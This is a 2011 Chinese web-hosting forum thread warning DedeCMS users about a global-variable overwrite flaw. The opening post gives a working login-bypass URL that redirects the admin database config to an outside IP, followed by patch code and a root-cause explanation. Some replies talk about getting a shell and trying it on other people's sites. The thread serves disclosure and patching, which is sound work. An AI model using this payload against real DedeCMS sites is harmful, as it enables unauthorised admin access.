全球主机交流论坛

标题: 用DEDECMS的注意了,赶紧修改后台地址 [打印本页]

作者: ReJeCt    时间: 2011-8-11 09:51
标题: 用DEDECMS的注意了,赶紧修改后台地址
http://www.xx.com/后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

只要把验证码改为当前验证码,就能直接无密码进后台
  1. 解决办法:
  2. 找到include/common.inc.php文件,把


  3.     foreach($_REQUEST as $_k=>$_v)
  4.     {
  5.         var_dump($_k);
  6.         if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )
  7.         {
  8.             exit('Request var not allow!');
  9.         }
  10.     }

  11. 换成

  12.     //检查和注册外部提交的变量
  13.     function CheckRequest(&$val) {
  14.         if (is_array($val)) {
  15.             foreach ($val as $_k=>$_v) {
  16.                 CheckRequest($_k);
  17.                 CheckRequest($val[$_k]);
  18.             }
  19.         } else
  20.         {
  21.             if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
  22.             {
  23.                 exit('Request var not allow!');
  24.             }
  25.         }
  26.     }
  27.     CheckRequest($_REQUEST);
复制代码

作者: geyunbing    时间: 2011-8-11 09:52
提示: 作者被禁止或删除 内容自动屏蔽
作者: hitsword    时间: 2011-8-11 09:55
5.6貌似没这漏洞?
作者: 一跳而过    时间: 2011-8-11 09:56
原帖由 geyunbing 于 2011-8-11 09:52 发表
靠  又出bug

作者: nuet    时间: 2011-8-11 09:57
给力啊
作者: xen    时间: 2011-8-11 10:00
dedecms后台怎么拿shell

貌似这个漏洞 5.7 5.6 都提示 你的密码错误。

[ 本帖最后由 xen 于 2011-8-11 10:20 编辑 ]
作者: kwx    时间: 2011-8-11 10:01
原帖由 geyunbing 于 2011-8-11 09:52 发表
靠  又出bug

作者: cpuer    时间: 2011-8-11 10:01
dedecms 未发现的bug应该还不少。
作者: wyloveyx    时间: 2011-8-11 10:03
还好一直没用dede
作者: monface    时间: 2011-8-11 10:03
试过了,好像这个洞不行哦
作者: 见钱开眼    时间: 2011-8-11 10:04
提示: 作者被禁止或删除 内容自动屏蔽
作者: 融雪深秋    时间: 2011-8-11 10:04
谢谢提醒。DEDECMS的BUG可真多
作者: 四师兄    时间: 2011-8-11 10:05
沒用過
作者: 旺旺    时间: 2011-8-11 10:08
找了一个dedecms湿了一下,不行,不知道什么版本。
作者: sunshine    时间: 2011-8-11 10:12
提示: 作者被禁止或删除 内容自动屏蔽
作者: javaluo    时间: 2011-8-11 10:14
测试了下 密码错误 不会玩
作者: 旺旺    时间: 2011-8-11 10:18
看起来好像要自己搞一个可以远程连接的dedecms数据库。
作者: mslxd    时间: 2011-8-11 10:22
呵呵,,,真逗
作者: 小夜    时间: 2011-8-11 10:25
我用DEDE,连个PHP都不放。仅存放生成的html文件,bug真的伤不起啊。
作者: wjt1220    时间: 2011-8-11 10:32
连后台都不改,被入侵了也活该
作者: woyo    时间: 2011-8-11 12:32
最好别用开源软件,或者别让别人知道你是什么程序
作者: 神马皆浮云    时间: 2011-8-11 12:50
  去试试我看上的几个站
作者: 有个就好    时间: 2011-8-11 13:25
DeDe垃圾
作者: geyunbing    时间: 2011-8-11 13:27
提示: 作者被禁止或删除 内容自动屏蔽
作者: microka    时间: 2011-8-11 13:30
原帖由 geyunbing 于 2011-8-11 09:52 发表
靠  又出bug

作者: 黑马王子    时间: 2011-8-11 13:36
瞧瞧,对此问题无视。
作者: wdlth    时间: 2011-8-11 13:44
没开全局变量
作者: Poison    时间: 2011-8-11 13:45
会员中心和后台 该删除的删除 该改名改名
作者: ReJeCt    时间: 2011-8-11 15:45
dede出fix补丁有点慢的
作者: ReJeCt    时间: 2011-8-12 17:49
DEDECMS全局变量覆盖漏洞最早是狼族安全小组09年公布的,官方硬撑到现在没修补漏洞,到现在基本上覆盖了DEDECMS全部的版本。个人猜想是不是官方故意留下的后门。下面稍微科普下这个漏洞,大牛们可以完全无视:



一. 了解PHP超级全局变量

下面是PHP的超级全局变量,可以了解一个特性,全是数组。
$GLOBALS, 所有全局变量数组
$_SERVER, 服务器环境变量数组
$_GET,通过GET方法传递给脚本的变量数组
$_POST, 通过POST方法传递给脚本的变量数组
$_COOKIE,cookie变量数组
$_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容
$_FILES,与文件上传相关得变量数组
$_ENV,环境变量数组
$_SESSION,会话变量数组

二. 理解$_GET变量

可以写个PHP来看看:
<?php
var_dump($_GET);
?>

访问
http://127.0.0.1/test.php?key=value
得到
array(1) { ["key"]=> string(5) "value" }
OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。

再访问
http://127.0.0.1/test.php?key[arr1]=value
得到
array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
我们通过GET方法传入了一个嵌套数组。

到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!

三. 深入跟进DEDECMS全局变量注册漏洞

真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:

提交一个嵌套数组:
http://127.0.0.1/test.php?_POST[GLOBALS][cfg_dbname]=X

array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=> array(1) { ["cfg_dbname"]=> string(1) "X" } } }

假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY是_POST且是个数组,所以轻松绕过。
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
        exit('Request var not allow!');
}
}

接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS !
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!

四. 领悟漏洞后的修补

完全领悟这个漏洞后,就会知道怎么修补了。

1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
  $_key{0} != '_' && $$_key = daddslashes($_value);
}
}

2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。


foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
         foreach($$_request as $_k => $_v) {
                    if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
                            exit('Request var not allow!');
                   }
                    ${$_k} = _RunMagicQuotes($_v);
    }
}

PS:安全就是基础,必须理解好基础。



详细的




欢迎光临 全球主机交流论坛 (https://sunk.eu.org/) Powered by Discuz! X3.4